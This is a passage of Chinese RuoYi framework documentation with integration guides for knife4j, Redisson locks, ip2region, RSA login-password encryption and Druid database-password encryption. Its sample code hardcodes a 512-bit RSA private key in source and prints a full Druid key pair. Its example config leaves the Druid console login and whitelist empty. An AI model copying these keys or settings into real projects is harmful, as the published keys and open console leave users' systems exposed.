package com.ruoyi.system.domain.read; import com.alibaba.excel.converters.Converter; import com.alibaba.excel.enums.CellDataTypeEnum; import com.alibaba.excel.metadata.CellData; import com.alibaba.excel.metadata.GlobalConfiguration; import com.alibaba.excel.metadata.property.ExcelContentProperty; /** * 状态字符串处理 * * @author ruoyi */ @SuppressWarnings("rawtypes") public class StatusConverter implements Converter<Integer> { @Override public Class supportJavaTypeKey() { return Integer.class; } @Override public CellDataTypeEnum supportExcelTypeKey() { return CellDataTypeEnum.STRING; } @Override public Integer convertToJavaData(CellData cellData, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { return "正常".equals(cellData.getStringValue()) ? 1 : 0; } @Override public CellData convertToExcelData(Integer value, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { return new CellData(0 == value ? "正常" : "异常"); } }
4、登录系统,进入系统管理-日志管理-操作日志-执行导出功能
10、集成knife4j实现swagger文档增强
如果不习惯使用swagger
可以使用前端UI
的增强解决方案knife4j
,对比swagger
相比有以下优势,友好界面,离线文档,接口排序,安全控制,在线调试,文档清晰,注解增强,容易上手。
1、ruoyi-admin\pom.xml
模块添加整合依赖
<!-- knife4j --> <dependency> <groupId>com.github.xiaoymin</groupId> <artifactId>knife4j-spring-boot-starter</artifactId> <version>3.0.3</version> </dependency>
2、修改ry-ui\views\tool\swagger\index.vue
跳转地址
src: process.env.VUE_APP_BASE_API + "/doc.html",
3、登录系统,访问菜单系统工具/系统接口,出现如下图表示成功。
提示
引用knife4j-spring-boot-starter
依赖,项目中的swagger
依赖可以删除。
11、集成redisson实现redis分布式锁
Redisson
是Redis
官方推荐的Java
版的Redis
客户端。它提供的功能非常多,也非常强大,此处我们只用它的分布式锁功能。
1、引入依赖
<!-- Redisson 锁功能 --> <dependency> <groupId>org.redisson</groupId> <artifactId>redisson-spring-boot-starter</artifactId> <version>3.16.2</version> </dependency>
2、添加工具类RedisLock.java
package com.ruoyi.common.core.redis; import org.redisson.api.RLock; import org.redisson.api.RedissonClient; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import java.util.concurrent.TimeUnit; /** * redis锁工具类 * * @author ruoyi */ @Component public class RedisLock { @Autowired private RedissonClient redissonClient; /** * 获取锁 * * @param lockKey 锁实例key * @return 锁信息 */ public RLock getRLock(String lockKey) { return redissonClient.getLock(lockKey); } /** * 加锁 * * @param lockKey 锁实例key * @return 锁信息 */ public RLock lock(String lockKey) { RLock lock = getRLock(lockKey); lock.lock(); return lock; } /** * 加锁 * * @param lockKey 锁实例key * @param leaseTime 上锁后自动释放锁时间 * @return true=成功;false=失败 */ public Boolean tryLock(String lockKey, long leaseTime) { return tryLock(lockKey, 0, leaseTime, TimeUnit.SECONDS); } /** * 加锁 * * @param lockKey 锁实例key * @param leaseTime 上锁后自动释放锁时间 * @param unit 时间颗粒度 * @return true=加锁成功;false=加锁失败 */ public Boolean tryLock(String lockKey, long leaseTime, TimeUnit unit) { return tryLock(lockKey, 0, leaseTime, unit); } /** * 加锁 * * @param lockKey 锁实例key * @param waitTime 最多等待时间 * @param leaseTime 上锁后自动释放锁时间 * @param unit 时间颗粒度 * @return true=加锁成功;false=加锁失败 */ public Boolean tryLock(String lockKey, long waitTime, long leaseTime, TimeUnit unit) { RLock rLock = getRLock(lockKey); boolean tryLock = false; try { tryLock = rLock.tryLock(waitTime, leaseTime, unit); } catch (InterruptedException e) { return false; } return tryLock; } /** * 释放锁 * * @param lockKey 锁实例key */ public void unlock(String lockKey) { RLock lock = getRLock(lockKey); lock.unlock(); } /** * 释放锁 * * @param lock 锁信息 */ public void unlock(RLock lock) { lock.unlock(); } }
3、新增配置RedissonConfig.java
package com.ruoyi.framework.config; import org.redisson.Redisson; import org.redisson.api.RedissonClient; import org.redisson.config.Config; import org.springframework.beans.factory.annotation.Value; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; /** * redisson配置 * * @author ruoyi */ @Configuration public class RedissonConfig { @Value("${spring.redis.host}") private String host; @Value("${spring.redis.port}") private String port; @Value("${spring.redis.password}") private String password; @Bean(destroyMethod = "shutdown") @ConditionalOnMissingBean(RedissonClient.class) public RedissonClient redissonClient() { Config config = new Config(); config.useSingleServer().setAddress("redis://" + host + ":" + port); // 更多.set return Redisson.create(config); } }
4、使用方式
@Autowired private RedisLock redisLock; // lockKey 锁实例key waitTime 最多等待时间 leaseTime 上锁后自动释放锁时间 unit 时间颗粒度 redisLock.lock(lockKey); redisLock.tryLock(lockKey, leaseTime); redisLock.tryLock(lockKey, leaseTime, unit); redisLock.tryLock(lockKey, waitTime, leaseTime, unit); redisLock.unlock(lockKey); redisLock.unlock(lock);
12、集成ip2region实现离线IP地址定位
离线IP地址定位库主要用于内网或想减少对外访问http
带来的资源消耗。(代码已兼容支持jar包部署)
1、引入依赖
<!-- 离线IP地址定位库 --> <dependency> <groupId>org.lionsoul</groupId> <artifactId>ip2region</artifactId> <version>1.7.2</version> </dependency>
2、添加工具类RegionUtil.java
package com.ruoyi.common.utils; import java.io.File; import java.io.InputStream; import java.lang.reflect.Method; import org.apache.commons.io.FileUtils; import org.lionsoul.ip2region.DataBlock; import org.lionsoul.ip2region.DbConfig; import org.lionsoul.ip2region.DbSearcher; import org.lionsoul.ip2region.Util; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.core.io.ClassPathResource; /** * 根据ip离线查询地址 * * @author ruoyi */ public class RegionUtil { private static final Logger log = LoggerFactory.getLogger(RegionUtil.class); private static final String JAVA_TEMP_DIR = "java.io.tmpdir"; static DbConfig config = null; static DbSearcher searcher = null; /** * 初始化IP库 */ static { try { // 因为jar无法读取文件,复制创建临时文件 String dbPath = RegionUtil.class.getResource("/ip2region/ip2region.db").getPath(); File file = new File(dbPath); if (!file.exists()) { String tmpDir = System.getProperties().getProperty(JAVA_TEMP_DIR); dbPath = tmpDir + "ip2region.db"; file = new File(dbPath); ClassPathResource cpr = new ClassPathResource("ip2region" + File.separator + "ip2region.db"); InputStream resourceAsStream = cpr.getInputStream(); if (resourceAsStream != null) { FileUtils.copyInputStreamToFile(resourceAsStream, file); } } config = new DbConfig(); searcher = new DbSearcher(config, dbPath); log.info("bean [{}]", config); log.info("bean [{}]", searcher); } catch (Exception e) { log.error("init ip region error:{}", e); } } /** * 解析IP * * @param ip * @return */ public static String getRegion(String ip) { try { // db if (searcher == null || StringUtils.isEmpty(ip)) { log.error("DbSearcher is null"); return StringUtils.EMPTY; } long startTime = System.currentTimeMillis(); // 查询算法 int algorithm = DbSearcher.MEMORY_ALGORITYM; Method method = null; switch (algorithm) { case DbSearcher.BTREE_ALGORITHM: method = searcher.getClass().getMethod("btreeSearch", String.class); break; case DbSearcher.BINARY_ALGORITHM: method = searcher.getClass().getMethod("binarySearch", String.class); break; case DbSearcher.MEMORY_ALGORITYM: method = searcher.getClass().getMethod("memorySearch", String.class); break; } DataBlock dataBlock = null; if (Util.isIpAddress(ip) == false) { log.warn("warning: Invalid ip address"); } dataBlock = (DataBlock) method.invoke(searcher, ip); String result = dataBlock.getRegion(); long endTime = System.currentTimeMillis(); log.debug("region use time[{}] result[{}]", endTime - startTime, result); return result; } catch (Exception e) { log.error("error:{}", e); } return StringUtils.EMPTY; } }
3、修改AddressUtils.java
package com.ruoyi.common.utils.ip; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.ruoyi.common.config.RuoYiConfig; import com.ruoyi.common.utils.RegionUtil; import com.ruoyi.common.utils.StringUtils; /** * 获取地址类 * * @author ruoyi */ public class AddressUtils { private static final Logger log = LoggerFactory.getLogger(AddressUtils.class); // 未知地址 public static final String UNKNOWN = "XX XX"; public static String getRealAddressByIP(String ip) { String address = UNKNOWN; // 内网不查询 if (IpUtils.internalIp(ip)) { return "内网IP"; } if (RuoYiConfig.isAddressEnabled()) { try { String rspStr = RegionUtil.getRegion(ip); if (StringUtils.isEmpty(rspStr)) { log.error("获取地理位置异常 {}", ip); return UNKNOWN; } String[] obj = rspStr.split("\\|"); String region = obj[2]; String city = obj[3]; return String.format("%s %s", region, city); } catch (Exception e) { log.error("获取地理位置异常 {}", e); } } return address; } }
4、添加离线IP地址库插件
下载前端插件相关包和代码实现ruoyi/集成ip2region离线地址定位.zip
链接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取码: y9jt
5、添加离线IP地址库
在src/main/resources
下新建ip2region
复制文件ip2region.db
到目录下。
13、集成jsencrypt实现密码加密传输方式
目前登录接口密码是明文传输,如果安全性有要求,可以调整成加密方式传输。参考如下
1、修改前端login.js
对密码进行rsa
加密。
import { encrypt } from '@/utils/jsencrypt' export function login(username, password, code, uuid) { password = encrypt(password); ......... }
2、工具类sign
包下添加RsaUtils.java
,用于RSA
加密解密。
package com.ruoyi.common.utils.sign; import org.apache.commons.codec.binary.Base64; import javax.crypto.Cipher; import java.security.*; import java.security.interfaces.RSAPrivateKey; import java.security.interfaces.RSAPublicKey; import java.security.spec.PKCS8EncodedKeySpec; import java.security.spec.X509EncodedKeySpec; /** * RSA加密解密 * * @author ruoyi **/ public class RsaUtils { // Rsa 私钥 public static String privateKey = "MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAqhHyZfSsYourNxaY" + "7Nt+PrgrxkiA50efORdI5U5lsW79MmFnusUA355oaSXcLhu5xxB38SMSyP2KvuKN" + "PuH3owIDAQABAkAfoiLyL+Z4lf4Myxk6xUDgLaWGximj20CUf+5BKKnlrK+Ed8gA" + "kM0HqoTt2UZwA5E2MzS4EI2gjfQhz5X28uqxAiEA3wNFxfrCZlSZHb0gn2zDpWow" + "cSxQAgiCstxGUoOqlW8CIQDDOerGKH5OmCJ4Z21v+F25WaHYPxCFMvwxpcw99Ecv" + "DQIgIdhDTIqD2jfYjPTY8Jj3EDGPbH2HHuffvflECt3Ek60CIQCFRlCkHpi7hthh" + "YhovyloRYsM+IS9h/0BzlEAuO0ktMQIgSPT3aFAgJYwKpqRYKlLDVcflZFCKY7u3" + "UP8iWi1Qw0Y="; /** * 私钥解密 * * @param privateKeyString 私钥 * @param text 待解密的文本 * @return 解密后的文本 */ public static String decryptByPrivateKey(String text) throws Exception { return decryptByPrivateKey(privateKey, text); } /** * 公钥解密 * * @param publicKeyString 公钥 * @param text 待解密的信息 * @return 解密后的文本 */ public static String decryptByPublicKey(String publicKeyString, String text) throws Exception { X509EncodedKeySpec x509EncodedKeySpec = new X509EncodedKeySpec(Base64.decodeBase64(publicKeyString)); KeyFactory keyFactory = KeyFactory.getInstance("RSA"); PublicKey publicKey = keyFactory.generatePublic(x509EncodedKeySpec); Cipher cipher = Cipher.getInstance("RSA"); cipher.init(Cipher.DECRYPT_MODE, publicKey); byte[] result = cipher.doFinal(Base64.decodeBase64(text)); return new String(result); } /** * 私钥加密 * * @param privateKeyString 私钥 * @param text 待加密的信息 * @return 加密后的文本 */ public static String encryptByPrivateKey(String privateKeyString, String text) throws Exception { PKCS8EncodedKeySpec pkcs8EncodedKeySpec = new PKCS8EncodedKeySpec(Base64.decodeBase64(privateKeyString)); KeyFactory keyFactory = KeyFactory.getInstance("RSA"); PrivateKey privateKey = keyFactory.generatePrivate(pkcs8EncodedKeySpec); Cipher cipher = Cipher.getInstance("RSA"); cipher.init(Cipher.ENCRYPT_MODE, privateKey); byte[] result = cipher.doFinal(text.getBytes()); return Base64.encodeBase64String(result); } /** * 私钥解密 * * @param privateKeyString 私钥 * @param text 待解密的文本 * @return 解密后的文本 */ public static String decryptByPrivateKey(String privateKeyString, String text) throws Exception { PKCS8EncodedKeySpec pkcs8EncodedKeySpec5 = new PKCS8EncodedKeySpec(Base64.decodeBase64(privateKeyString)); KeyFactory keyFactory = KeyFactory.getInstance("RSA"); PrivateKey privateKey = keyFactory.generatePrivate(pkcs8EncodedKeySpec5); Cipher cipher = Cipher.getInstance("RSA"); cipher.init(Cipher.DECRYPT_MODE, privateKey); byte[] result = cipher.doFinal(Base64.decodeBase64(text)); return new String(result); } /** * 公钥加密 * * @param publicKeyString 公钥 * @param text 待加密的文本 * @return 加密后的文本 */ public static String encryptByPublicKey(String publicKeyString, String text) throws Exception { X509EncodedKeySpec x509EncodedKeySpec2 = new X509EncodedKeySpec(Base64.decodeBase64(publicKeyString)); KeyFactory keyFactory = KeyFactory.getInstance("RSA"); PublicKey publicKey = keyFactory.generatePublic(x509EncodedKeySpec2); Cipher cipher = Cipher.getInstance("RSA"); cipher.init(Cipher.ENCRYPT_MODE, publicKey); byte[] result = cipher.doFinal(text.getBytes()); return Base64.encodeBase64String(result); } /** * 构建RSA密钥对 * * @return 生成后的公私钥信息 */ public static RsaKeyPair generateKeyPair() throws NoSuchAlgorithmException { KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.generateKeyPair(); RSAPublicKey rsaPublicKey = (RSAPublicKey) keyPair.getPublic(); RSAPrivateKey rsaPrivateKey = (RSAPrivateKey) keyPair.getPrivate(); String publicKeyString = Base64.encodeBase64String(rsaPublicKey.getEncoded()); String privateKeyString = Base64.encodeBase64String(rsaPrivateKey.getEncoded()); return new RsaKeyPair(publicKeyString, privateKeyString); } /** * RSA密钥对对象 */ public static class RsaKeyPair { private final String publicKey; private final String privateKey; public RsaKeyPair(String publicKey, String privateKey) { this.publicKey = publicKey; this.privateKey = privateKey; } public String getPublicKey() { return publicKey; } public String getPrivateKey() { return privateKey; } } }
3、登录方法SysLoginService.java
,对密码进行rsa
解密。
// 关键代码 RsaUtils.decryptByPrivateKey(password) authentication = authenticationManager.authenticate(new UsernamePasswordAuthenticationToken(username, RsaUtils.decryptByPrivateKey(password)));
访问 http://localhost/login (opens new window)登录页面。提交时检查密码是否为加密传输,且后台也能正常解密。
14、集成druid实现数据库密码加密功能
数据库密码直接写在配置中,对运维安全来说,是一个很大的挑战。可以使用Druid
为此提供一种数据库密码加密的手段ConfigFilter
。项目已经集成druid
所以只需按要求配置即可。
1、执行命令加密数据库密码
java -cp druid-1.2.4.jar com.alibaba.druid.filter.config.ConfigTools password
password
输入你的数据库密码,输出的是加密后的结果。
privateKey:MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAuLMVAFmcew+mPfVnzI6utEvhHWO2s6e4R1bVW3a9IpH+pEypeNV6KtZ/w9PuysPfdPxW5fN3BmnKFZUAIMvWhQIDAQABAkA6rnsfr1juKFyzFsMx1KthETKmucWUctczoz0KYEFbN+joNsd/ApQqsS/2MVG1QWbDJLUsSLWkchvRbtiqOlVJAiEA6KmgVeLR2qUU9gv6DJfuWk4Ol1M9GJnTamgyDttsSGcCIQDLOdjcht29s954vApG1fiPTP/kMvZ5aLrccw1lEuEGMwIhAKoe3c3u++MTsi/2se9jaDU/vguIIbRLRfsYFQIoDxUhAiAnCm/cvZPvk5RTgVxAC276qIIoJpou7K2pF/kkx6Gu/QIgKUVFiM8GVZkOWZC+nUm3UIfpGjrKXjvGrlHNvt89uBA= publicKey:MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALizFQBZnHsPpj31Z8yOrrRL4R1jtrOnuEdW1Vt2vSKR/qRMqXjVeirWf8PT7srD33T8VuXzdwZpyhWVACDL1oUCAwEAAQ== password:gkYlljNHKe0/4z7bbJxD7v/txWJIFbiGWwsIPo176Q7fG0UjcSizNxuRUI2ll27ZPQf2ekiHFptus2/Rc4cmvA==
2、配置数据源,提示Druid
数据源需要对数据库密码进行解密。
# 数据源配置 spring: datasource: type: com.alibaba.druid.pool.DruidDataSource driverClassName: com.mysql.cj.jdbc.Driver druid: # 主库数据源 master: url: jdbc:mysql://localhost:3306/ry?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 username: root password: gkYlljNHKe0/4z7bbJxD7v/txWJIFbiGWwsIPo176Q7fG0UjcSizNxuRUI2ll27ZPQf2ekiHFptus2/Rc4cmvA== # 从库数据源 slave: # 从数据源开关/默认关闭 enabled: false url: username: password: # 初始连接数 initialSize: 5 # 最小连接池数量 minIdle: 10 # 最大连接池数量 maxActive: 20 # 配置获取连接等待超时的时间 maxWait: 60000 # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 timeBetweenEvictionRunsMillis: 60000 # 配置一个连接在池中最小生存的时间,单位是毫秒 minEvictableIdleTimeMillis: 300000 # 配置一个连接在池中最大生存的时间,单位是毫秒 maxEvictableIdleTimeMillis: 900000 # 配置检测连接是否有效 validationQuery: SELECT 1 FROM DUAL testWhileIdle: true testOnBorrow: false testOnReturn: false connectProperties: config.decrypt=true;config.decrypt.key=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALizFQBZnHsPpj31Z8yOrrRL4R1jtrOnuEdW1Vt2vSKR/qRMqXjVeirWf8PT7srD33T8VuXzdwZpyhWVACDL1oUCAwEAAQ== webStatFilter: enabled: true statViewServlet: enabled: true # 设置白名单,不填则允许所有访问 allow: url-pattern: /druid/* # 控制台管理用户名和密码 login-username: login-password: filter: config: # 是否配置加密 enabled: true stat: enabled: true # 慢SQL记录 log-slow-sql: true slow-sql-millis: 1000 merge-sql: true wall: config: multi-statement-allow: true
3、DruidProperties
配置connectProperties
属性
package com.ruoyi.framework.config.properties; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Configuration; import com.alibaba.druid.pool.DruidDataSource; /** * druid 配置属性 * * @author ruoyi */ @Configuration public class DruidProperties { @Value("${spring.datasource.druid.initialSize}") private int initialSize; @Value("${spring.datasource.druid.minIdle}") private int minIdle; @Value("${spring.datasource.druid.maxActive}") private int maxActive; @Value("${spring.datasource.druid.maxWait}") private int maxWait; @Value("${spring.datasource.druid.timeBetweenEvictionRunsMillis}") private int timeBetweenEvictionRunsMillis; @Value("${spring.datasource.druid.minEvictableIdleTimeMillis}") private int minEvictableIdleTimeMillis; @Value("${spring.datasource.druid.maxEvictableIdleTimeMillis}") private int maxEvictableIdleTimeMillis; @Value("${spring.datasource.druid.validationQuery}") private String validationQuery; @Value("${spring.datasource.druid.testWhileIdle}") private boolean testWhileIdle; @Value("${spring.datasource.druid.testOnBorrow}") private boolean testOnBorrow; @Value("${spring.datasource.druid.testOnReturn}") private boolean testOnReturn; @Value("${spring.datasource.druid.connectProperties}") private String connectProperties; public DruidDataSource dataSource(DruidDataSource datasource) { /** 配置初始化大小、最小、最大 */ datasource.setInitialSize(initialSize); datasource.setMaxActive(maxActive); datasource.setMinIdle(minIdle); /** 配置获取连接等待超时的时间 */ datasource.setMaxWait(maxWait); /** 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 */ datasource.setTimeBetweenEvictionRunsMillis(timeBetweenEvictionRunsMillis); /** 配置一个连接在池中最小、最大生存的时间,单位是毫秒 */ datasource.setMinEvictableIdleTimeMillis(minEvictableIdleTimeMillis); datasource.setMaxEvictableIdleTimeMillis(maxEvictableIdleTimeMillis); /** * 用来检测连接是否有效的sql,要求是一个查询语句,常用select 'x'。如果validationQuery为null,testOnBorrow、testOnReturn、testWhileIdle都不会起作用。 */ datasource.setValidationQuery(validationQuery); /** 建议配置为true,不影响性能,并且保证安全性。申请连接的时候检测,如果空闲时间大于timeBetweenEvictionRunsMillis,执行validationQuery检测连接是否有效。 */ datasource.setTestWhileIdle(testWhileIdle); /** 申请连接时执行validationQuery检测连接是否有效,做了这个配置会降低性能。 */ datasource.setTestOnBorrow(testOnBorrow); /** 归还连接时执行validationQuery检测连接是否有效,做了这个配置会降低性能。 */ datasource.setTestOnReturn(testOnReturn); /** 为数据库密码提供加密功能 */ datasource.setConnectionProperties(connectProperties); return datasource; } }
4、启动应用程序测试验证加密结果
提示
如若忘记密码可以使用工具类解密(传入生成的公钥+密码)
public static void main(String[] args) throws Exception { String password = ConfigTools.decrypt( "MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALizFQBZnHsPpj31Z8yOrrRL4R1jtrOnuEdW1Vt2vSKR/qRMqXjVeirWf8PT7srD33T8VuXzdwZpyhWVACDL1oUCAwEAAQ==", "gkYlljNHKe0/4z7bbJxD7v/txWJIFbiGWwsIPo176Q7fG0UjcSizNxuRUI2ll27ZPQf2ekiHFptus2/Rc4cmvA=="); System.out.println("解密密码:" + password); }
二十四、项目扩展
1、后台扩展
项目扩展
用于收集来自基于RuoYi (opens new window)的插件集成或完整项目,由开发者自己维护。如果你有自己或喜欢的项目想出现在列表中,可以发送仓库地址到我的邮箱346039442@qq.com
..
2、前台扩展
名称 | 说明 | 地址 |
---|---|---|
Hplus | Hplus(4.1.0后台主题UI框架) | https://pan.baidu.com/s/1cpDPD39OjF7IVSmPrmE_oA |
inspinia | inspinia(2.7.1后台主题UI框架汉化版) | https://pan.baidu.com/s/1KI4UPf0DFRs0dZW49-05fQ (提取码: nmju) |
inspinia | inspinia(2.8后台主题bootstrap4.1) | https://pan.baidu.com/s/1wUR7GmjEfe8NsQJ5geaQbw |
Distpicker | Distpicker(v2.0.4省市联动三级下拉框) | https://pan.baidu.com/s/1kGCWkUx7nsikcKt8oXj4gQ |
二十五、组件文档
系统使用到的相关组件
基础框架组件
vue-element-admin(opens new window)
树形选择组件
vue-treeselect(opens new window)
富文本编辑器
表格分页组件
富文本组件
工具栏右侧组件
right-toolbar(opens new window)
图片上传组件
image-upload(opens new window)
图片预览组件
image-preview(opens new window)
文件上传组件
表单设计组件
form-generator(opens new window)
数据字典组件
vue-data-dict(opens new window)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)